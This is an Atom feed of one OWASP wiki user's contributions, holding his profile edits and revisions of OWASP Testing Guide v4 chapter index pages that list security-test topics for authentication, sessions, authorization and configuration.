<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
		<id>https://wiki.owasp.org/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=Davide+Danelon</id>
		<title>OWASP - User contributions [en]</title>
		<link rel="self" type="application/atom+xml" href="https://wiki.owasp.org/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=Davide+Danelon"/>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php/Special:Contributions/Davide_Danelon"/>
		<updated>2026-05-22T22:23:40Z</updated>
		<subtitle>User contributions</subtitle>
		<generator>MediaWiki 1.27.2</generator>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=User:Davide_Danelon&amp;diff=240874</id>
		<title>User:Davide Danelon</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=User:Davide_Danelon&amp;diff=240874"/>
				<updated>2018-05-22T22:31:59Z</updated>
		
		<summary type="html">&lt;p&gt;Davide Danelon: Company and role update&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Davide is currently CEO of the [https://www.bedefended.com BeDefended] company, where he manages and delivers consultancy, research and training activities on Application and Cloud Security. In particular, he manages and delivers security assessments, penetration test and code review of web and mobile applications as well as courses and support on the development and maintenance of secure software.&lt;br /&gt;
&lt;br /&gt;
Davide also participated, as speaker, at some security conferences in which he presented his researches on mobile security.&lt;br /&gt;
&lt;br /&gt;
Before founding BeDefended, Davide had several consultancy experiences in Minded Security, Deloitte and Reply. &lt;br /&gt;
&lt;br /&gt;
He has a master’s degree in computer engineering with specialization in networks applications and holds the CCSK, GWAPT, Comptia Security+ and CCNA certifications.&lt;br /&gt;
&lt;br /&gt;
Davide participated in the development of the new OWASP Testing Guide v4.&lt;br /&gt;
&lt;br /&gt;
You can contact him at: &amp;amp;#100;&amp;amp;#97;&amp;amp;#118;&amp;amp;#105;&amp;amp;#100;&amp;amp;#101; &amp;lt;dot&amp;gt; &amp;amp;#100;&amp;amp;#97;&amp;amp;#110;&amp;amp;#101;&amp;amp;#108;&amp;amp;#111;&amp;amp;#110; &amp;lt;at&amp;gt; &amp;amp;#111;&amp;amp;#119;&amp;amp;#97;&amp;amp;#115;&amp;amp;#112; &amp;lt;dot &amp;gt; &amp;amp;#111;&amp;amp;#114;&amp;amp;#103;&lt;/div&gt;</summary>
		<author><name>Davide Danelon</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=User:Davide_Danelon&amp;diff=230366</id>
		<title>User:Davide Danelon</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=User:Davide_Danelon&amp;diff=230366"/>
				<updated>2017-06-04T07:44:23Z</updated>
		
		<summary type="html">&lt;p&gt;Davide Danelon: Updated work position&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Davide is Principal Security Consultant and application security researcher at [https://security.edges.it Edges], where he delivers security assessments, penetration test and code review of web and mobile applications. He also delivers courses about application security and participates as speaker at some security conferences.&lt;br /&gt;
&lt;br /&gt;
He has a master’s degree in computer engineering with specialization in networks applications and holds GWAPT, Comptia Security+ and CCNA certifications.&lt;br /&gt;
&lt;br /&gt;
Davide participated in the development of the new OWASP Testing Guide v4.&lt;br /&gt;
&lt;br /&gt;
You can contact him at: &amp;amp;#100;&amp;amp;#97;&amp;amp;#118;&amp;amp;#105;&amp;amp;#100;&amp;amp;#101; &amp;lt;dot&amp;gt; &amp;amp;#100;&amp;amp;#97;&amp;amp;#110;&amp;amp;#101;&amp;amp;#108;&amp;amp;#111;&amp;amp;#110; &amp;lt;at&amp;gt; &amp;amp;#111;&amp;amp;#119;&amp;amp;#97;&amp;amp;#115;&amp;amp;#112; &amp;lt;dot &amp;gt; &amp;amp;#111;&amp;amp;#114;&amp;amp;#103;&lt;/div&gt;</summary>
		<author><name>Davide Danelon</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_Session_Management&amp;diff=169667</id>
		<title>Testing for Session Management</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_Session_Management&amp;diff=169667"/>
				<updated>2014-03-07T17:13:12Z</updated>
		
		<summary type="html">&lt;p&gt;Davide Danelon: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v4}}&lt;br /&gt;
&lt;br /&gt;
''' 4.5 Session Management Testing'''&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
At the core of any web-based application is the way in which it maintains state and thereby controls user-interaction with the site.  Session Management broadly covers all controls on a user from authentication to leaving the application.&lt;br /&gt;
HTTP is a stateless protocol, meaning that web servers respond to client requests without linking them to each other.  Even simple application logic requires a user's multiple requests to be associated with each other across a &amp;quot;session”.  This necessitates third party solutions – through either Off-The-Shelf (OTS) middleware and web server solutions, or bespoke developer implementations.  Most popular web application environments, such as ASP and PHP, provide developers with built-in session handling routines. Some kind of identification token will typically be issued, which will be referred to as a “Session ID” or Cookie.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
There are a number of ways in which a web application may interact with a user.  Each is dependent upon the nature of the site, the security, and availability requirements of the application.&lt;br /&gt;
Whilst there are accepted best practices for application development, such as those outlined in the [[OWASP Guide Project|OWASP Guide to Building Secure Web Applications]], it is important that application security is considered within the context of the provider’s requirements and expectations. In this chapter we describe the following items.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Session_Management_Schema (OWASP-SM-001)|4.7.1 Testing for Bypassing Session Management Schema (OTG-SESS-001)]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for cookies attributes  (OWASP-SM-002)|4.7.2 Testing for Cookies attributes (OTG-SESS-002)]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for Session Fixation  (OWASP-SM-003)|4.7.3 Testing for Session Fixation (OTG-SESS-003)]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for Exposed Session Variables  (OWASP-SM-004)|4.7.4 Testing for Exposed Session Variables (OTG-SESS-004)]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for CSRF  (OWASP-SM-005)|4.7.5 Testing for Cross Site Request Forgery (CSRF) (OTG-SESS-005)]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for logout functionality (OWASP-SM-007)|4.7.6 Testing for logout functionality (OTG-SESS-007)]]&lt;br /&gt;
&lt;br /&gt;
[[Test Session Timeout (OTG-SESS-008)|4.7.7 Test Session Timeout (OTG-SESS-008)]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for Session puzzling (OTG-SESS-010)|4.7.8 Testing for Session puzzling (OTG-SESS-010)]]&lt;/div&gt;</summary>
		<author><name>Davide Danelon</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_Authorization&amp;diff=169666</id>
		<title>Testing for Authorization</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_Authorization&amp;diff=169666"/>
				<updated>2014-03-07T17:12:08Z</updated>
		
		<summary type="html">&lt;p&gt;Davide Danelon: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v3}}&lt;br /&gt;
&lt;br /&gt;
''' 4.6 Authorization Testing '''&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
Authorization is the concept of allowing access to resources only to those permitted to use them. Testing for Authorization means understanding how the authorization process works, and using that information to circumvent the authorization mechanism.&amp;lt;br&amp;gt;&lt;br /&gt;
Authorization is a process that comes after a successful authentication, so the tester will verify this point after he holds valid credentials, associated with a well-defined set of roles and privileges. During this kind of assessment, it should be verified if it is possible to bypass the authorization schema, find a path traversal vulnerability, or find ways to escalate the privileges assigned to the tester.&lt;br /&gt;
&lt;br /&gt;
[[Testing for Path Traversal  (OWASP-AZ-001)|4.6.1 Testing Directory traversal/file include (OTG-AUTHZ-002)]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for Bypassing Authorization Schema  (OWASP-AZ-002)|4.6.2 Testing for bypassing authorization schema (OTG-AUTHZ-003)]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for Privilege escalation  (OWASP-AZ-003)|4.6.3 Testing for Privilege Escalation (OTG-AUTHZ-004)]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for Insecure Direct Object References (OWASP-AZ-004)|4.6.4 Testing for Insecure Direct Object References (OTG-AUTHZ-005)]]&lt;/div&gt;</summary>
		<author><name>Davide Danelon</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_authentication&amp;diff=169665</id>
		<title>Testing for authentication</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_authentication&amp;diff=169665"/>
				<updated>2014-03-07T17:11:17Z</updated>
		
		<summary type="html">&lt;p&gt;Davide Danelon: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v4}}&lt;br /&gt;
&lt;br /&gt;
''' 4.5 Authentication Testing '''&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
Authentication (Greek: αυθεντικός = real or genuine, from 'authentes' = author ) is the act of establishing or confirming something (or someone) as authentic, that is, that claims made by or about the thing are true. Authenticating an object may mean confirming its provenance, whereas authenticating a person often consists of verifying her identity. Authentication depends upon one or more authentication factors.&lt;br /&gt;
In computer security, authentication is the process of attempting to verify the digital identity of the sender of a communication.  A common example of such a process is the logon process. Testing the authentication schema means understanding how the authentication process works and using that information to circumvent the authentication mechanism.&lt;br /&gt;
&lt;br /&gt;
[[Testing for Credentials Transported over an Encrypted Channel (OWASP-AT-001)|4.5.1 Testing for Credentials Transported over an Encrypted Channel  (OTG-AUTHN-001)]] &lt;br /&gt;
&lt;br /&gt;
[[Testing for default credentials (OWASP-AT-003)|4.5.2 Testing for default credentials (OTG-AUTHN-002)]] &lt;br /&gt;
&lt;br /&gt;
[[Testing for Weak lock out mechanism (OWASP-AT-004)|4.5.3 Testing for Weak lock out mechanism (OTG-AUTHN-003)]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for Bypassing Authentication Schema (OWASP-AT-005)|4.5.4 Testing for bypassing authentication schema (OTG-AUTHN-004)]] &lt;br /&gt;
&lt;br /&gt;
[[Testing for Vulnerable Remember Password (OWASP-AT-006)|4.5.5 Test remember password functionality (OTG-AUTHN-005)]] &lt;br /&gt;
&lt;br /&gt;
[[Testing for Browser cache weakness (OWASP-AT-007)|4.5.6 Testing for Browser cache weakness (OTG-AUTHN-006)]] &lt;br /&gt;
&lt;br /&gt;
[[Testing for Weak password policy (OWASP-AT-008)|4.5.7 Testing for Weak password policy (OTG-AUTHN-007)]] &lt;br /&gt;
&lt;br /&gt;
[[Testing for Weak security question/answer (OTG-AUTHN-008)|4.5.8 Testing for Weak security question/answer (OTG-AUTHN-008)]] &lt;br /&gt;
&lt;br /&gt;
[[Testing for weak password change or reset functionalities (OWASP-AT-011)|4.5.9 Testing for weak password change or reset functionalities (OTG-AUTHN-009)]] &lt;br /&gt;
&lt;br /&gt;
[[Testing for Weaker authentication in alternative channel (OTG-AUTHN-010)|4.5.10 Testing for Weaker authentication in alternative channel (OTG-AUTHN-010)]]&lt;/div&gt;</summary>
		<author><name>Davide Danelon</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_configuration_management&amp;diff=169664</id>
		<title>Testing for configuration management</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_configuration_management&amp;diff=169664"/>
				<updated>2014-03-07T17:09:27Z</updated>
		
		<summary type="html">&lt;p&gt;Davide Danelon: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v4}}&lt;br /&gt;
&lt;br /&gt;
''' 4.3 Testing for configuration management '''&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
Testing for configuration management include the following articles: &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[Testing for infrastructure configuration management (OWASP-CM-003)|4.3.1 Test Network/Infrastructure Configuration (OTG-CONFIG-001) ]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for application configuration management (OWASP-CM-004)|4.3.2 Test Application Platform Configuration (OTG-CONFIG-002) ]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for file extensions handling  (OWASP-CM-005)|4.3.3 Test File Extensions Handling for Sensitive Information (OTG-CONFIG-003) ]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for Old, Backup and Unreferenced Files (OWASP-CM-006)|4.3.4 Review Old, Backup and Unreferenced Files for Sensitive Information (OTG-CONFIG-004) ]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for Admin Interfaces  (OWASP-CM-007)|4.3.5 Enumerate Infrastructure and Application Admin Interfaces (OTG-CONFIG-005) ]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for HTTP Methods and XST  (OWASP-CM-008)|4.3.6 Test HTTP Methods (OTG-CONFIG-006) ]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for Missing HSTS header|4.3.7 Test HTTP Strict Transport Security (OTG-CONFIG-009) ]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for RIA policy files weakness|4.3.8 Test RIA cross domain policy (OTG-CONFIG-011) ]]&lt;/div&gt;</summary>
		<author><name>Davide Danelon</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_Information_Gathering&amp;diff=169663</id>
		<title>Testing Information Gathering</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_Information_Gathering&amp;diff=169663"/>
				<updated>2014-03-07T17:08:41Z</updated>
		
		<summary type="html">&lt;p&gt;Davide Danelon: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v4}}&lt;br /&gt;
&lt;br /&gt;
''' 4.2 Testing for Information Gathering '''&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
Testing for Information Gathering include the following articles: &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[Testing: Search engine discovery/reconnaissance (OWASP-IG-002)|4.2.1 Conduct Search Engine Discovery and Reconnaissance for Information Leakage (OTG-INFO-001) ]]&lt;br /&gt;
&lt;br /&gt;
[[Fingerprint Web Server (OTG-INFO-002)|4.2.2 Fingerprint Web Server (OTG-INFO-002) ]]&lt;br /&gt;
&lt;br /&gt;
[[Testing: Spiders, Robots, and Crawlers (OWASP-IG-001)|4.2.3 Review Webserver Metafiles for Information Leakage (OTG-INFO-003) ]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for Application Discovery (OWASP-IG-005)|4.2.4 Enumerate Applications on Webserver (OTG-INFO-004) ]]&lt;br /&gt;
&lt;br /&gt;
[[Testing Review webpage comments and metadata(OWASP-IG-007)|4.2.5 Review Webpage Comments and Metadata for Information Leakage (OTG-INFO-005) ]]&lt;br /&gt;
&lt;br /&gt;
[[Testing: Identify application entry points (OWASP-IG-003)|4.2.6 Identify application entry points (OTG-INFO-006) ]]&lt;br /&gt;
&lt;br /&gt;
[[Testing Map execution paths through application (OWASP-IG-009)|4.2.7 Map execution paths through application (OTG-INFO-008)]]&lt;br /&gt;
&lt;br /&gt;
[[Fingerprint Web Application Framework (OTG-INFO-009)|4.2.8 Fingerprint Web Application Framework (OTG-INFO-009) ]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for Web Application (OTG-INFO-011)|4.2.9 Fingerprint Web Application (OTG-INFO-010) ]]&lt;br /&gt;
&lt;br /&gt;
[[Map Network and Application Architecture (OTG-INFO-012)|4.2.10 Map Network and Application Architecture (OTG-INFO-011) ]]&lt;/div&gt;</summary>
		<author><name>Davide Danelon</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_Identity_Management&amp;diff=169662</id>
		<title>Testing Identity Management</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_Identity_Management&amp;diff=169662"/>
				<updated>2014-03-07T17:07:49Z</updated>
		
		<summary type="html">&lt;p&gt;Davide Danelon: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v4}}&lt;br /&gt;
&lt;br /&gt;
''' 4.4 Testing for Identity Management '''&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
Testing for Identity Management include the following articles: &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[Test Role Definitions (OTG-IDENT-001)|4.4.1 Test Role Definitions (OTG-IDENT-001)]] &lt;br /&gt;
&lt;br /&gt;
[[Test User Registration Process (OTG-IDENT-002)|4.4.2 Test User Registration Process (OTG-IDENT-002)]] &lt;br /&gt;
&lt;br /&gt;
[[Test Account Provisioning Process (OTG-IDENT-003)|4.4.3 Test Account Provisioning Process (OTG-IDENT-003)]] &lt;br /&gt;
&lt;br /&gt;
[[Testing for Account Enumeration and Guessable User Account (OWASP-AT-002)|4.4.4 Testing for Account Enumeration and Guessable User Account (OTG-IDENT-004) ]] &lt;br /&gt;
&lt;br /&gt;
[[Testing for Weak or unenforced username policy (OWASP-AT-009)| 4.4.5 Testing for Weak or unenforced username policy (OTG-IDENT-005)]]&lt;/div&gt;</summary>
		<author><name>Davide Danelon</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_configuration_management&amp;diff=169661</id>
		<title>Testing for configuration management</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_configuration_management&amp;diff=169661"/>
				<updated>2014-03-07T17:06:52Z</updated>
		
		<summary type="html">&lt;p&gt;Davide Danelon: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v4}}&lt;br /&gt;
&lt;br /&gt;
''' 4.3 Testing for configuration management '''&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
Testing for configuration management include the following articles: &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[Testing for infrastructure configuration management (OWASP-CM-003)|4.3.1 Test Network/Infrastructure Configuration (OTG-CONFIG-001) ]] formerly &amp;quot;Testing for Infrastructure Configuration Management Testing weakness (OWASP-CM-001)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for application configuration management (OWASP-CM-004)|4.3.2 Test Application Platform Configuration (OTG-CONFIG-002) ]] formerly &amp;quot;Testing for Application Configuration Management weakness (OWASP-CM-002)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for file extensions handling  (OWASP-CM-005)|4.3.3 Test File Extensions Handling for Sensitive Information (OTG-CONFIG-003) ]] formerly &amp;quot;Testing for File Extensions Handling  (OWASP-CM-003)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Old, Backup and Unreferenced Files (OWASP-CM-006)|4.3.4 Review Old, Backup and Unreferenced Files for Sensitive Information (OTG-CONFIG-004) ]] formerly &amp;quot;Old, Backup and Unreferenced Files (OWASP-CM-004)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Admin Interfaces  (OWASP-CM-007)|4.3.5 Enumerate Infrastructure and Application Admin Interfaces (OTG-CONFIG-005) ]] formerly &amp;quot;Infrastructure and Application Admin Interfaces  (OWASP-CM-005)&amp;quot; &lt;br /&gt;
&lt;br /&gt;
[[Testing for HTTP Methods and XST  (OWASP-CM-008)|4.3.6 Test HTTP Methods (OTG-CONFIG-006) ]] formerly &amp;quot;Testing for Bad HTTP Methods (OWASP-CM-006)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Missing HSTS header|4.3.7 Test HTTP Strict Transport Security (OTG-CONFIG-009) ]] formerly &amp;quot;Testing for Missing HSTS header (OWASP-CM-009)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for RIA policy files weakness|4.3.8 Test RIA cross domain policy (OTG-CONFIG-011) ]] formerly &amp;quot;Testing for RIA policy files weakness (OWASP-CM-010)&amp;quot;&lt;/div&gt;</summary>
		<author><name>Davide Danelon</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_Information_Gathering&amp;diff=169660</id>
		<title>Testing Information Gathering</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_Information_Gathering&amp;diff=169660"/>
				<updated>2014-03-07T17:05:29Z</updated>
		
		<summary type="html">&lt;p&gt;Davide Danelon: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v4}}&lt;br /&gt;
&lt;br /&gt;
''' 4.2 Testing for Information Gathering '''&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
Testing for Information Gathering include the following articles: &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[Testing: Search engine discovery/reconnaissance (OWASP-IG-002)|4.2.1 Conduct Search Engine Discovery and Reconnaissance for Information Leakage (OTG-INFO-001) ]] formerly &amp;quot;Search Engine Discovery/Reconnaissance (OWASP-IG-002)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Fingerprint Web Server (OTG-INFO-002)|4.2.2 Fingerprint Web Server (OTG-INFO-002) ]] formerly &amp;quot;Testing for Web Application Fingerprint (OWASP-IG-004)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing: Spiders, Robots, and Crawlers (OWASP-IG-001)|4.2.3 Review Webserver Metafiles for Information Leakage (OTG-INFO-003) ]] formerly &amp;quot;Spiders, Robots and Crawlers (OWASP-IG-001)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Application Discovery (OWASP-IG-005)|4.2.4 Enumerate Applications on Webserver (OTG-INFO-004) ]] formerly &amp;quot;Application Discovery (OWASP-IG-005)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing Review webpage comments and metadata(OWASP-IG-007)|4.2.5 Review Webpage Comments and Metadata for Information Leakage (OTG-INFO-005) ]] formerly &amp;quot;Review webpage comments and metadata(OWASP-IG-007)&amp;quot;  DELETED&lt;br /&gt;
&lt;br /&gt;
[[Testing: Identify application entry points (OWASP-IG-003)|4.2.6 Identify application entry points (OTG-INFO-006) ]] formerly &amp;quot;Identify application entry points (OWASP-IG-003)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing Map execution paths through application (OWASP-IG-009)|4.2.7 Map execution paths through application (OTG-INFO-008)]] formerly &amp;quot;Map execution paths through application (OWASP-IG-009)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Fingerprint Web Application Framework (OTG-INFO-009)|4.2.8 Fingerprint Web Application Framework (OTG-INFO-009) ]] formerly &amp;quot;Testing for Web Application Fingerprint (OWASP-IG-010)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Web Application (OTG-INFO-011)|4.2.9 Fingerprint Web Application (OTG-INFO-010) ]] formerly &amp;quot;Testing for Web Application Fingerprint (OWASP-IG-010)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Map Network and Application Architecture (OTG-INFO-012)|4.2.10 Map Network and Application Architecture (OTG-INFO-011) ]] formerly &amp;quot;Testing for Infrastructure Configuration Management Testing weakness (OWASP-CM-001)&amp;quot;&lt;/div&gt;</summary>
		<author><name>Davide Danelon</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_Information_Gathering&amp;diff=169659</id>
		<title>Testing Information Gathering</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_Information_Gathering&amp;diff=169659"/>
				<updated>2014-03-07T17:04:37Z</updated>
		
		<summary type="html">&lt;p&gt;Davide Danelon: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v4}}&lt;br /&gt;
&lt;br /&gt;
''' 4.2 Testing for Information Gathering '''&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
Testing for Information Gathering include the following articles: &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[Testing: Search engine discovery/reconnaissance (OWASP-IG-002)|4.2.1 Conduct Search Engine Discovery and Reconnaissance for Information Leakage (OTG-INFO-001) ]] formerly &amp;quot;Search Engine Discovery/Reconnaissance (OWASP-IG-002)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Fingerprint Web Server (OTG-INFO-002)|4.2.2 Fingerprint Web Server (OTG-INFO-002) ]] formerly &amp;quot;Testing for Web Application Fingerprint (OWASP-IG-004)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing: Spiders, Robots, and Crawlers (OWASP-IG-001)|4.2.3 Review Webserver Metafiles for Information Leakage (OTG-INFO-003) ]] formerly &amp;quot;Spiders, Robots and Crawlers (OWASP-IG-001)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Application Discovery (OWASP-IG-005)|4.2.4 Enumerate Applications on Webserver (OTG-INFO-004) ]] formerly &amp;quot;Application Discovery (OWASP-IG-005)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing Review webpage comments and metadata(OWASP-IG-007)|4.2.5 Review Webpage Comments and Metadata for Information Leakage (OTG-INFO-005) ]] formerly &amp;quot;Review webpage comments and metadata(OWASP-IG-007)&amp;quot;  DELETED&lt;br /&gt;
&lt;br /&gt;
[[Testing: Identify application entry points (OWASP-IG-003)|4.2.6 Identify application entry points (OTG-INFO-006) ]] formerly &amp;quot;Identify application entry points (OWASP-IG-003)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing Map execution paths through application (OWASP-IG-009)|4.2.7 Map execution paths through application (OTG-INFO-008)]] formerly &amp;quot;Map execution paths through application (OWASP-IG-009)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Fingerprint Web Application Framework (OTG-INFO-009)|4.2.8 Fingerprint Web Application Framework (OTG-INFO-009) ]] formerly &amp;quot;Testing for Web Application Fingerprint (OWASP-IG-010)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Web Application (OTG-INFO-011)|4.2.9 Fingerprint Web Application (OTG-INFO-010) ]] formerly &amp;quot;Testing for Web Application Fingerprint (OWASP-IG-010)&amp;quot; [Amro AlOlaqi]&lt;br /&gt;
&lt;br /&gt;
[[Map Network and Application Architecture (OTG-INFO-012)|4.2.10 Map Network and Application Architecture (OTG-INFO-011) ]] formerly &amp;quot;Testing for Infrastructure Configuration Management Testing weakness (OWASP-CM-001)&amp;quot; [Amro AlOlaqi]&lt;/div&gt;</summary>
		<author><name>Davide Danelon</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_configuration_management&amp;diff=169658</id>
		<title>Testing for configuration management</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_configuration_management&amp;diff=169658"/>
				<updated>2014-03-07T17:04:07Z</updated>
		
		<summary type="html">&lt;p&gt;Davide Danelon: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v4}}&lt;br /&gt;
&lt;br /&gt;
''' 4.3 Testing for configuration management '''&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
Often analysis of the infrastructure and topology architecture can reveal a great deal about a web application. Information such as source code, HTTP methods permitted, administrative functionality, authentication methods, and infrastructural configurations can be obtained.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[Testing for infrastructure configuration management (OWASP-CM-003)|4.3.1 Test Network/Infrastructure Configuration (OTG-CONFIG-001) ]] formerly &amp;quot;Testing for Infrastructure Configuration Management Testing weakness (OWASP-CM-001)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for application configuration management (OWASP-CM-004)|4.3.2 Test Application Platform Configuration (OTG-CONFIG-002) ]] formerly &amp;quot;Testing for Application Configuration Management weakness (OWASP-CM-002)&amp;quot;  [Amro AlOlaqi] '''Ready to be reviewed'''&lt;br /&gt;
&lt;br /&gt;
[[Testing for file extensions handling  (OWASP-CM-005)|4.3.3 Test File Extensions Handling for Sensitive Information (OTG-CONFIG-003) ]] formerly &amp;quot;Testing for File Extensions Handling  (OWASP-CM-003)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Old, Backup and Unreferenced Files (OWASP-CM-006)|4.3.4 Review Old, Backup and Unreferenced Files for Sensitive Information (OTG-CONFIG-004) ]] formerly &amp;quot;Old, Backup and Unreferenced Files (OWASP-CM-004)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Admin Interfaces  (OWASP-CM-007)|4.3.5 Enumerate Infrastructure and Application Admin Interfaces (OTG-CONFIG-005) ]] formerly &amp;quot;Infrastructure and Application Admin Interfaces  (OWASP-CM-005)&amp;quot; [Amro AlOlaqi] '''Ready to be reviewed'''&lt;br /&gt;
&lt;br /&gt;
[[Testing for HTTP Methods and XST  (OWASP-CM-008)|4.3.6 Test HTTP Methods (OTG-CONFIG-006) ]] formerly &amp;quot;Testing for Bad HTTP Methods (OWASP-CM-006)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Missing HSTS header|4.3.7 Test HTTP Strict Transport Security (OTG-CONFIG-009) ]] formerly &amp;quot;Testing for Missing HSTS header (OWASP-CM-009)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for RIA policy files weakness|4.3.8 Test RIA cross domain policy (OTG-CONFIG-011) ]] formerly &amp;quot;Testing for RIA policy files weakness (OWASP-CM-010)&amp;quot;&lt;/div&gt;</summary>
		<author><name>Davide Danelon</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_Information_Gathering&amp;diff=169657</id>
		<title>Testing Information Gathering</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_Information_Gathering&amp;diff=169657"/>
				<updated>2014-03-07T17:01:31Z</updated>
		
